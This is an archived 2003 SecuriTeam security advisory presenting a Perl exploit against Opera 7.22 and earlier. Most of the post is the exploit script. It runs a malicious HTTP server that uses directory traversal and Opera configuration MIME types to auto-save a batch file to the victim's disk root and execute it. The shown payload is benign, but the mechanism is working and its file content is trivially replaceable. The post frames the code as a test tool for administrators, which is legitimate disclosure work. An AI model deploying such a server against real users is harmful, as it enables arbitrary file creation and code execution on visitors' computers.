[EXPL] Opera File Creation and Execution Exploit (Malicious Web Server)

From: SecuriTeam (support_at_securiteam.com)
Date: 11/23/03

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Date: 23 Nov 2003 12:50:07 +0200

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      Opera File Creation and Execution Exploit (Malicious Web Server)
    ------------------------------------------------------------------------

    SUMMARY

    As we reported in our previous article:
    <http://www.securiteam.com/exploits/6W00J2K8UI.html> Opera Skinned and
    Opera Directory Traversal (Exploit), an exploit has been provided to allow
    an administrator to test his system for the mentioned Opera
    vulnerabilities.

    The following exploit code creates a special web server that can also be
    used to test your Opera installation for the mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * Opera version 7.22 and prior

    Exploit:
    #!/usr/bin/perl
    ##################################################
    #
    # Sample code of
    # "[Opera 7] Arbitrary File Auto-Saved Vulnerability."
    #
    # This Exploit will run a web server that will create and execute a batch
    # file on the victim's computer when visiting this malicious server
    #
    # This perl script is a small HTTP server for a check of the
    vulnerability.
    # BTW, you can exploit this vulnerability without a server like this
    # if your apache or etc., allow a request URL that contains '..'.
    #
    # Tested on :
    # Opera 7.22
    # Opera 7.21
    # Opera 7.20
    # Opera 7.1X
    # Opera 7.0X
    #
    # with Active Perl 5.8.0 on Windows 2000 Pro SP4 JP.
    # (maybe need Perl 5.6 or later)
    #
    # Usage :
    # [0] Execute "perl this_script 10080" on a console,
    # this server starts to listen in port 10080.
    # [1] Opera opens "http://127.0.0.1:10080/".
    # [2] Click link.
    # [3] Auto-saved an arbitrary file on a root directory
    # of Local Disk ...
    #
    # 2003/11/15
    # written by nesumin <nesumin softhome net>
    # public on www.k-otik.com
    #
    ###################################################
    use HTTP::Daemon;
    use HTTP::Status;

    use constant URL =>
    '..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C_opera_.bat';

    use constant FILE_CONTENT => qq~\@echo off\x0D\x0Aecho "Love & Peace
    :-)"\x0D\x0A\@pause~;
    use constant RES_HEADERS => qw(Pragma no-cache Connection close);
    use constant REUSE => 1;
    use constant VIEW_DATA => 0;

    my @MIMETYPES = qw(
    application/x-opera-configuration-keyboard
    application/x-opera-configuration-menu
    application/x-opera-configuration-mouse
    application/x-opera-configuration-toolbar
    application/x-opera-configuration-skin
    application/x-opera-skin
    );
    my $port = ($ARGV[0] || 10080) + 0;
    die("port is not correct") unless (0 < $port && $port < 65536);

    my $daemon = new HTTP::Daemon(LocalPort=>$port, Reuse=>REUSE)
    or die("HTTP::Daemon->new() error : $!.\n");
    select(STDERR);
    printf("[*] server started on %d.\n", $daemon->sockport());

    while (my $ccon = $daemon->accept()) {
    printf("[*] incoming client : from %s:%d(%08X).\n",
     inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
    if (my $req = $ccon->get_request()) {
     print("\n[*] request received...\n", map{" >> $_\n"}
      ($req->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
     if ($req->method eq 'GET') {
      my $url = URL;
      my $res = new HTTP::Response(200, 'OK', new HTTP::Headers(RES_HEADERS));
      $res->protocol("HTTP/1.0");
      if ($req->url->path eq '/') {
       $res->header('Content-type'=>'text/html');
       $res->content(qq~Click here~);
      
      } else {

       my $mimetype = $MIMETYPES[rand(@MIMETYPES)];
       if ($req->header('User-Agent')=~m~Opera[\s+/]((\d\.\d)\d)~i){
        # Opera 7.0x
        if ($2 eq "7.0") {
         $url .= '*.zip';# '*' is a special char :-)
         $mimetype = $MIMETYPES[$#MIMETYPES];
        # Opera 7.22
        } elsif ($1 eq "7.22") {
         $mimetype = $MIMETYPES[rand(@MIMETYPES-2)];
        }
       }

       $res->header('Content-type'=>$mimetype);
       $res->content(FILE_CONTENT);
      }
      $ccon->send_response($res);
      print("\n[*] response sent...\n", map{" >> $_\n"}
       ($res->as_string() =~ /^([^\r\n]+)/mg)) if (VIEW_DATA);
     } else {
      $ccon->send_error(RC_METHOD_NOT_ALLOWED);
     }
    }
    printf("[*] client closed : from %s:%d (%08X).\n",
     inet_ntoa($ccon->peeraddr()), $ccon->peerport(), $ccon);
    $ccon->close();
    undef($ccon);
    }
    print("[*] server closed.\n");
    $daemon->close();
    undef($daemon);

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:nesumin@softhome net>
    nesumin.

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